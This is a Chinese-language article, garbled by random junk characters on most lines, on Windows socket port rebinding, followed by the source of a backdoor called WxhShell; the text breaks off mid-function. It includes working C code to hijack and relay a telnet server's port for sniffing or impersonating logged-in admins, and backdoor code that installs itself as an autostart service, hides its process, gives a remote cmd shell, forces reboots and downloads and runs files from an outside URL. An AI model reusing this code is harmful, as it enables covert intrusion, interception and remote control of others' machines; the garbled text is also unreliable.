在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
obK6GG?ZE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MZt&HbD- Na.)!h_Kn' saddr.sin_family = AF_INET;
b
v4 &4m;9<8\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MtG~O;?8 e@ DVf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
j34lPo ` E9Hyd #A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
MC_i"P6a eY\!}) 5 这意味着什么?意味着可以进行如下的攻击:
5N[H@%>QO ,-)ww: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V4. }wz_Y \eCQL(_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Wdp4'rB ]4[^S.T= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#{~3bgY Fq!-
%Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;m}o$` Lu[xoQ~I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
l j %k/u ?m h0^G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+IM6 GeH XBos^Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
71G00@&w9D +~?K@n #include
-O6\!Wo=- #include
GD<pqm`vVY #include
h5ZxxtGU #include
VMW<?V
2Z DWORD WINAPI ClientThread(LPVOID lpParam);
hQLh}}B int main()
S %(R9N| {
<xAlp;8m5 WORD wVersionRequested;
trg&^{D< DWORD ret;
CW@G(R WSADATA wsaData;
&\Yd)#B/ BOOL val;
8Og)(BC SOCKADDR_IN saddr;
7WN$ rl5/ SOCKADDR_IN scaddr;
vW03nt86 int err;
.KxE>lJbqM SOCKET s;
sX#7;,Ft7 SOCKET sc;
% ^&D, int caddsize;
*Vp$#Rb HANDLE mt;
P"k,[ZQ DWORD tid;
1#jvr_ ga wVersionRequested = MAKEWORD( 2, 2 );
_R;+}1G/ err = WSAStartup( wVersionRequested, &wsaData );
^jg{MTa if ( err != 0 ) {
dMoN19F printf("error!WSAStartup failed!\n");
*Bx'g|
u return -1;
o88Dz}a }
f/e2td*A saddr.sin_family = AF_INET;
>}B~~C; z<s4-GJ)? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Bk8 '*O/) ;/ao3Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1a;&&!X saddr.sin_port = htons(23);
zNQ|G1o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<P<^,aC/j {
E3E$_<^ printf("error!socket failed!\n");
uT{.\qHo return -1;
-u%'u~s }
P8;f^3V(+/ val = TRUE;
ot.R Gpg% //SO_REUSEADDR选项就是可以实现端口重绑定的
:]-? l4(% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
AV?<D.< {
}S>:!9f printf("error!setsockopt failed!\n");
z,/y2H2 return -1;
M^~ }
l%9nA.M' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
My\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V39)[FH} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
oxL4* bqZ |cq%eN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0Z>oiBr4 {
(r )fx ret=GetLastError();
-~ycr[}x printf("error!bind failed!\n");
g63?(+Fz return -1;
{>=#7e-] }
c}g:vh listen(s,2);
X5eTj while(1)
xn)r6 {
&_y+hV{ caddsize = sizeof(scaddr);
%]@K}!)2 //接受连接请求
DwC8?s*2H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Eb=;D1)y] if(sc!=INVALID_SOCKET)
\l8$1p {
d<l-Ldle mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,JmA e6 if(mt==NULL)
Y4dTv<=K@i {
cP MUu9du printf("Thread Creat Failed!\n");
UT7".1H break;
=m=utd8 }
Gg9NG`e6I }
7<VfE`Q3 CloseHandle(mt);
~+Da`Wp }
to*<W,I closesocket(s);
2_HPsEx WSACleanup();
xj!_]XJ^w return 0;
dSBW&-p }
Ctxx.MM DWORD WINAPI ClientThread(LPVOID lpParam)
DeTZl+qm1E {
JSQ*8wDcl SOCKET ss = (SOCKET)lpParam;
.o5r;KD SOCKET sc;
o$r]Z1 unsigned char buf[4096];
1f1J'du SOCKADDR_IN saddr;
<U$A_]*w long num;
,/g\;#:{@] DWORD val;
nNff~u)I DWORD ret;
K*Tvo` //如果是隐藏端口应用的话,可以在此处加一些判断
(FAd'$lhX} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6\9 9WQ saddr.sin_family = AF_INET;
d/ OIc){tD saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<WGl4#(k saddr.sin_port = htons(23);
cnOk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wp,z~raaS {
:B'}#;8_
printf("error!socket failed!\n");
:{tvAdMl7 return -1;
#YSUPO%F }
s:/.:e_PU val = 100;
:22IY>p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2;`"B|-T {
]-aeoa# ret = GetLastError();
oa?eK return -1;
$V)LGu2(m }
]4>[y?k34 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bMD'teJ {
^9UF
Pij" ret = GetLastError();
HYPFe|t/ return -1;
+B@NSEy/+ }
S!n
9A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VBssn]w {
3EcmNwr printf("error!socket connect failed!\n");
Cs
%-f" closesocket(sc);
BKm$H!u closesocket(ss);
EhybaRy;C return -1;
?fEX&t,' }
2eu`X2IBcT while(1)
[hS?d.D {
QWf)5S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Rh%/xG#k //如果是嗅探内容的话,可以再此处进行内容分析和记录
aM9St!i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_|Ml6;1aZ num = recv(ss,buf,4096,0);
L&'0d$Tg8 if(num>0)
VmkYl$WZo send(sc,buf,num,0);
6mBX{-Z[ else if(num==0)
MOG[cp break;
kI3-G~2 num = recv(sc,buf,4096,0);
%1]2+_6 if(num>0)
l1N{ujM send(ss,buf,num,0);
;NRT
a* else if(num==0)
43-%")bH break;
~]/X,Cf }
Hk\+;'PrN closesocket(ss);
r<O^uz?Di closesocket(sc);
rA9x T` return 0 ;
<'
%g $" }
*ftJ( fT8Id\6js @WU_GQas3 ==========================================================
@U:T}5)wc ZZE 下边附上一个代码,,WXhSHELL
q'2PG@ g#_?Vxt ==========================================================
u6y\ GsM.a %i%Xi+{3 #include "stdafx.h"
1qUdj[Bj NI(`o8fN #include <stdio.h>
FzpWT-jnDd #include <string.h>
0mj=\ j #include <windows.h>
i:kWO7aP #include <winsock2.h>
H]=3^ g64 #include <winsvc.h>
`CK;,>i #include <urlmon.h>
X{#@ :z$ 4'54 #pragma comment (lib, "Ws2_32.lib")
n/@/yJ<EFi #pragma comment (lib, "urlmon.lib")
i?AZ|Ha[ Lx?bO`=qg7 #define MAX_USER 100 // 最大客户端连接数
L238l #define BUF_SOCK 200 // sock buffer
54J<ZXCs
#define KEY_BUFF 255 // 输入 buffer
].dTEzL9X @mJN #define REBOOT 0 // 重启
9'toj%XQ #define SHUTDOWN 1 // 关机
Hs=!.tZ, 7^iF,N #define DEF_PORT 5000 // 监听端口
6ddkUPTF ;$&-c/]F# #define REG_LEN 16 // 注册表键长度
X=\#n-* #define SVC_LEN 80 // NT服务名长度
C3@.75-E F` I-G~e // 从dll定义API
EkSTN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Lf 0Hz") typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
y-n\;d>[( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}aNiO85 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
38q@4U=aiw ,uKvE`H // wxhshell配置信息
&{]%=stI struct WSCFG {
@su{Uno8/ int ws_port; // 监听端口
qfSoF| char ws_passstr[REG_LEN]; // 口令
fSqbGoIQ int ws_autoins; // 安装标记, 1=yes 0=no
3Gp4%UT& char ws_regname[REG_LEN]; // 注册表键名
w ^<Y5K char ws_svcname[REG_LEN]; // 服务名
)i_FU~ LRq char ws_svcdisp[SVC_LEN]; // 服务显示名
5h:SH]tn8] char ws_svcdesc[SVC_LEN]; // 服务描述信息
^2kWD8c* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Yn<0D|S;X int ws_downexe; // 下载执行标记, 1=yes 0=no
uAjGR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<Z m ,q} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}uHc7gTBF7 a ^)Mx9 };
b(Z%#*e n/,7ryu // default Wxhshell configuration
k@8#By l| struct WSCFG wscfg={DEF_PORT,
|O4A+S "xuhuanlingzhe",
.@6]_h; 1,
rd,mbH[<C "Wxhshell",
uPF yRWK "Wxhshell",
u4<r$[]V "WxhShell Service",
]R4)FH|>< "Wrsky Windows CmdShell Service",
HJJ^pk& "Please Input Your Password: ",
xu:m~8% 1,
g
Go "
http://www.wrsky.com/wxhshell.exe",
rp'fli?0e "Wxhshell.exe"
3-mw-;. };
+1)C&: 9>i6oF]Oq // 消息定义模块
L\Jl'r| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Pm1
"
0 char *msg_ws_prompt="\n\r? for help\n\r#>";
@Qs-A^. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1=;QWb6 char *msg_ws_ext="\n\rExit.";
m|]^f;7z char *msg_ws_end="\n\rQuit.";
D+SpSO7yg char *msg_ws_boot="\n\rReboot...";
Nr[Rp char *msg_ws_poff="\n\rShutdown...";
h+74W0
$ char *msg_ws_down="\n\rSave to ";
<y.D0^68 "q`%d_ char *msg_ws_err="\n\rErr!";
i9xv`Ev=R char *msg_ws_ok="\n\rOK!";
W1@;94Sb~ X#3<hN*v char ExeFile[MAX_PATH];
`U g.c int nUser = 0;
6#KI?
6 HANDLE handles[MAX_USER];
Dz50,*}J int OsIsNt;
*cf"l 8zc!g|5" SERVICE_STATUS serviceStatus;
+
kF[Oh# SERVICE_STATUS_HANDLE hServiceStatusHandle;
P+b^;+\1s Oq2H>eW`f // 函数声明
^ Wl/ int Install(void);
*.*:(7` int Uninstall(void);
DO\EB6xH>% int DownloadFile(char *sURL, SOCKET wsh);
J7\q#] ? int Boot(int flag);
UeICn@)\y void HideProc(void);
$1?X%8V int GetOsVer(void);
~d8>#v=Q` int Wxhshell(SOCKET wsl);
e6R"W9 void TalkWithClient(void *cs);
DrEtnt int CmdShell(SOCKET sock);
r{Q< a int StartFromService(void);
V^{!d} int StartWxhshell(LPSTR lpCmdLine);
xI<dBg|]+ f
oVD+\~Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
m4DH90~a8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
5HbTgNI dI!/:x // 数据结构和表定义
v$i%>tQ\ SERVICE_TABLE_ENTRY DispatchTable[] =
_B1uE2j9 {
cik@QN<[0 {wscfg.ws_svcname, NTServiceMain},
V[I<9xaE {NULL, NULL}
-$)Et | };
A C^[3 pHvE`s"Ea // 自我安装
68c;Vb int Install(void)
yy} 0_ {
|d5L
Ifb( char svExeFile[MAX_PATH];
-{*V)J_Co HKEY key;
DXz8C - strcpy(svExeFile,ExeFile);
s4$m<"~ 4sj%: // 如果是win9x系统,修改注册表设为自启动
nwo!A3w: if(!OsIsNt) {
IA^)`l 7H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I.u,f:Fl' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3rY /6{ RegCloseKey(key);
Mak9qaWqF> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BZ<z@DJp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5dp#\J@ RegCloseKey(key);
%~5Q^3$O return 0;
L%d?eHF }
12PE{Mut }
lDU:EJ&DHE }
h<K;VpL6 else {
N ]7a= zsXH{atY // 如果是NT以上系统,安装为系统服务
a1`cI5n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.:ZXtU if (schSCManager!=0)
&iOtw0E {
x#0@$ SC_HANDLE schService = CreateService
QiweM?- (
'Xl>,\'6 schSCManager,
0:Y`#0qK wscfg.ws_svcname,
<u?hdwW\ wscfg.ws_svcdisp,
\.1b\\ SERVICE_ALL_ACCESS,
#@6L|$iX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
c2\vG SERVICE_AUTO_START,
)Zf}V0!?+ SERVICE_ERROR_NORMAL,
N#)VD\m svExeFile,
G`#gV"PlC NULL,
:3>yr5a7- NULL,
L[G\+ NULL,
5SL>q`t.bd NULL,
pInWKj[y1 NULL
~9 WJrRWB );
,Q#tA|:8j if (schService!=0)
'<=MhNh\ {
gqD^Bs'VF CloseServiceHandle(schService);
JGDUCb~ CloseServiceHandle(schSCManager);
m90R8 V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|~uzQU7 strcat(svExeFile,wscfg.ws_svcname);
PBs<8xBx^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
g**%J Xo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*z"1MU RegCloseKey(key);
e6i./bf3 return 0;
y}-S~Ov>I }
.(1j!B4^ }
0^&R7Rv c CloseServiceHandle(schSCManager);
xnQGCw?S&} }
@
KPv&UB }
{qWG^Db n{Qh8" return 1;
3d'ikkXK }
P>T*:!s ; 06@0r // 自我卸载
To8v#.i int Uninstall(void)
}Q=se[(( {
Zc3:9 HKEY key;
5652'p Z^`=!n-V if(!OsIsNt) {
g}
~<!VpX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3:8nwt RegDeleteValue(key,wscfg.ws_regname);
4Eh BpTg
RegCloseKey(key);
fI
d) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,c7u RegDeleteValue(key,wscfg.ws_regname);
khN:+V| RegCloseKey(key);
KvJP(!{ return 0;
)]b@eGNGj }
K# i*9sM }
)~blx+ \y }
'Tf#S@o else {
30(m-D$K>9 8cBW] \ v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3Ra\2(bR if (schSCManager!=0)
S[hJ{0V {
Bd oC6H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ul=a\;3x#| if (schService!=0)
ioY\8i {
d! QD vO if(DeleteService(schService)!=0) {
9 QCpXy CloseServiceHandle(schService);
Kpp*^ CloseServiceHandle(schSCManager);
H=o-ScA return 0;
\eMYw7y5M }
J ]Gc CloseServiceHandle(schService);
E2h;hr;W }
WQLHjGehe CloseServiceHandle(schSCManager);
t2-nCRXEP }
k`7.p,;}U }
zUEfa!#? 4=F]`Lql return 1;
rxgVT4 }
@Uj_+c
q t1:S!@ // 从指定url下载文件
8/>wgY int DownloadFile(char *sURL, SOCKET wsh)
$>h!J.t {
rGn5QV HRESULT hr;
;x3 ]4^ char seps[]= "/";
J<($L}T*$ char *token;
]~
#+b> char *file;
`^&15?Wk char myURL[MAX_PATH];
Bsu=^z char myFILE[MAX_PATH];
bDZKQ& l\sS? strcpy(myURL,sURL);
2 -p token=strtok(myURL,seps);
ycl>git] while(token!=NULL)
f.$aFOn {
^!o1l-Y^gr file=token;
!7kLFW token=strtok(NULL,seps);
H81.p }
PX69 /_:T\`5uO GetCurrentDirectory(MAX_PATH,myFILE);
@O<@f8- strcat(myFILE, "\\");
#lyM+.T strcat(myFILE, file);
A"BtVy[[9 send(wsh,myFILE,strlen(myFILE),0);
V6z@"+ send(wsh,"...",3,0);
wHt#'`5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
uzVG q!'H if(hr==S_OK)
I_zk' return 0;
D*XZT{1g else
g]==!!^<D return 1;
$||ns@F+ :?$Sb8OuIL }
){:q;E]^fB 47C(\\ // 系统电源模块
0V>ESyae5 int Boot(int flag)
^z *):e {
5!SoN}$ HANDLE hToken;
2Z/][?Jj{ TOKEN_PRIVILEGES tkp;
\f /! rF8W(E_= if(OsIsNt) {
}1a <{& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?`N57'iPb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l`v
+sV^1 tkp.PrivilegeCount = 1;
_>gXNS r4u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'&.)T2Kw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R8=I)I-8 if(flag==REBOOT) {
a+YR5*&[OO if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4]DAh return 0;
z\Pe{J }
.# !'c else {
Nl$gU3kL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hs!UX=x| return 0;
(c(-E|u. }
O?nPxa< }
j.=UI-&m else {
l50|`
6t if(flag==REBOOT) {
!"`@sd~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-~vl+L return 0;
RjR&D?dc }
C@TN5?Z else {
{[M0y*^64$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[)Z'N/;0 return 0;
'!j #X_; }
C=oM,[ESQ0 }
`2B*CMW{ p4m^ ~e return 1;
F,p`-m[q }
DEUd[ `G=ztL!gq // win9x进程隐藏模块
H4PbO/{xO void HideProc(void)
Xmap9x {
Q vv\+Jp^ p3M#XC_H] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
rxs~y{Xi if ( hKernel != NULL )
zdxT35h {
a,/M'^YyN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w?]ZU- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
e-[>( n/[ FreeLibrary(hKernel);
HG{&U:>) }
Af2=qe EX`"z(L return;
~`*1*;Q<H| }
d] b~)!VW I! h(` // 获取操作系统版本
55 S\&Ad$ int GetOsVer(void)
T-L|Q,-{- {
N3uMkH-< OSVERSIONINFO winfo;
{l&Ltruhz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|?OdV<5C GetVersionEx(&winfo);
vKcl6bVT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k1ipvKxp:8 return 1;
{Oy9RESqc else
=)(3Dp return 0;
;]2x }
NoFs-GGGh dO>k5!ge|: // 客户端句柄模块
<Vz<{W3t int Wxhshell(SOCKET wsl)
:7 qqjs
{
Jt##rVN SOCKET wsh;
DJmoW struct sockaddr_in client;
ayV6m DWORD myID;
>;&Gz-lm |HrM_h<X while(nUser<MAX_USER)
;EgzC^2e {
6OfdD.y int nSize=sizeof(client);
t9G}Yd[T wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
u9TzZ if(wsh==INVALID_SOCKET) return 1;
HG2N-<$ -'I _*fu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
k4S} #!
if(handles[nUser]==0)
l%rx#;=u closesocket(wsh);
cqeR<len else
uz ]E_&2 nUser++;
:|Z$3q }
.
_1jk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g d z aRbx return 0;
k1wCa^*gc }
"e~k-\^Y S3SV.C:z> // 关闭 socket
'I&|1I^ void CloseIt(SOCKET wsh)
|J:$MX~ {
RS'} nY} closesocket(wsh);
HR;/Br nUser--;
1s Br.+p ExitThread(0);
D+f'*| }
?Q@L-H` `'uUmyg // 客户端请求句柄
D,MyI# void TalkWithClient(void *cs)
Ej'
7h~ =v {
*Wzwbwg
h2"9"*S1 SOCKET wsh=(SOCKET)cs;
-g:lOht char pwd[SVC_LEN];
DKh}Y
!Q=: char cmd[KEY_BUFF];
A^pu char chr[1];
p?;-!TUv int i,j;
;_iPm?Y8 -<_7\09 while (nUser < MAX_USER) {
ue@8voZhS/ WElrk:b if(wscfg.ws_passstr) {
Z)/6??/R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1xz\=HOT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`8,w[o oC2 //ZeroMemory(pwd,KEY_BUFF);
PfyRZ[3)c i=0;
fCB:733H while(i<SVC_LEN) {
"ml?7Xl,n Yj)
e$f // 设置超时
hL0]R,t;' fd_set FdRead;
(zY * 0lN struct timeval TimeOut;
z/S,+!|z FD_ZERO(&FdRead);
O7v]p FD_SET(wsh,&FdRead);
R8tF/dx>7 TimeOut.tv_sec=8;
.Y! :x=e TimeOut.tv_usec=0;
K'NcTw#f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)!cI|tovs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
W}>=JoN^J BjiYv}J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,*dzJT$k pwd
=chr[0]; X:Q$gO?[4
if(chr[0]==0xd || chr[0]==0xa) { gA_krK,Z
pwd=0; r=qLaPG
break; yIOLs}!SF
} qbXz7s*{
i++; 9mQ#L<Ps
} vXb:
$&IpX M]
// 如果是非法用户,关闭 socket z5 Bi=~=#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _Fizgs
} \83sSw
"IG+V:{ou
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k^^:;OR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +vz`go
2/@D7>F&g
while(1) { _S"f_W
71O3O7
ZeroMemory(cmd,KEY_BUFF); l)Zs-V!M^\
"<*awWNI
// 自动支持客户端 telnet标准 XvskB[\
j=0; .|uLt J
while(j<KEY_BUFF) { ~s#e,Kav"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X2gz6|WJ
cmd[j]=chr[0]; < A?<N?%o
if(chr[0]==0xa || chr[0]==0xd) { snYr9O[E6
cmd[j]=0; Q2eXK[?*
break; |) Pi6Y
} t8&q9$
j++; VFO\4:.
} [?KJ9~+0
YX*0?S
// 下载文件 /BpxKh2p
if(strstr(cmd,"http://")) { pcH<gF(k
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'S?;J ,/
if(DownloadFile(cmd,wsh)) [T`}yb@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3sFeP&
else 8Mu;U3cIW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U<47WfcW
} Pr+~Kif
else { }>&KUl
)47MFNr~>
switch(cmd[0]) { ;LRW
8Wd
M$A#I51
// 帮助 &aPl`"j
case '?': { %jEY3q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <tbZj=*O/o
break; g_w&"=.jBq
} 9cd 8=][
// 安装 K)S;:MLG=
case 'i': { z856 nl
if(Install()) >|3a
9S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0@)%h&mD
else 5j{Np,K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r7 VXeoX
break; NP/>H9Q2%
} zoP%u,XL
// 卸载 @Z;1 g
case 'r': { F
Z!J
if(Uninstall()) ++8_fgM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lJ{V
else +;q.Y?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H9`
f0(H
break; PJgp+u<
} #U=;T]!'$
// 显示 wxhshell 所在路径 \t3qS
eWc/
case 'p': { *
OsU Y=;
char svExeFile[MAX_PATH]; o>c^aRZ{
strcpy(svExeFile,"\n\r"); #SkX@sl@
strcat(svExeFile,ExeFile); TfRGA(+#
send(wsh,svExeFile,strlen(svExeFile),0); ^Y04qeRd
break; Ht[{ryTxu
} :?CQuEv-
// 重启 Y
?'tUV
case 'b': { 9<s4yZF@x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~]WVG@-
if(Boot(REBOOT)) ,P6=~q3k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aMK~1]Cx
else { V5"HwN+`
closesocket(wsh); dqe7s Zl!
ExitThread(0); X=~V6m
} b |7ja_
break; Y )b@0'
} ZPO|<uR
// 关机 7*s8ttX
case 'd': { R Fko>d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~rv})4h
if(Boot(SHUTDOWN)) $/_qE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0a2@b"l
else { cDV^8 R
closesocket(wsh); VC-;S7k
ExitThread(0); (j&A",^^S
} (/h5zCc/v
break; 'v&}(
} O~@fXMthh
// 获取shell 8Fq_i-u
case 's': { >UHa
CmdShell(wsh); #S5`Pd!I
closesocket(wsh); h`5)2n+ P
ExitThread(0); XU-m"_t
break; nWWM2v
} 8`v$liH
// 退出 H?yE3w
case 'x': { Q:MhjkOr}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o6}n8U}bk
CloseIt(wsh); ~}% ~oT
break; ?m;;D'1j
} RuAlB*
// 离开 Kt/)pc
case 'q': { RT*5d;l0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); nr2r8u9r
closesocket(wsh); Llz['"m
WSACleanup(); HDIk9WC^
exit(1); Z=+03
break; `/Y+1 aD
} q'S
=Eav8
}
cd. brM
} .%xzT J=!
%_gho
// 提示信息 |M5-5)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HJhH-\{@
} S>_27r{
} ;-@=
}zMf7<C
return; B|o%_:]+E
} >a>fb|r
{0yu
// shell模块句柄
Xm_$
dZ
int CmdShell(SOCKET sock) B0)]s<<
{ `M@Ak2gcR+
STARTUPINFO si; <{ru|-9
ZeroMemory(&si,sizeof(si)); 6*XM7'n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'Bq ZOZw
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g+[kde;(^
PROCESS_INFORMATION ProcessInfo; kv?|'DN
char cmdline[]="cmd"; -{g~TUz
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <GIwRVCU
return 0; raB+,Oi$G
} 0[a}n6XTk
P-Su5F
// 自身启动模式 2x}6\t
int StartFromService(void) $3P`DJo
{ eD;6okdP
typedef struct }e{qW
{ K|^wc$
DWORD ExitStatus; xtfRrX^
DWORD PebBaseAddress; bEH
de*q(
DWORD AffinityMask; 8^yJqAXK
DWORD BasePriority; .y4&rF$n
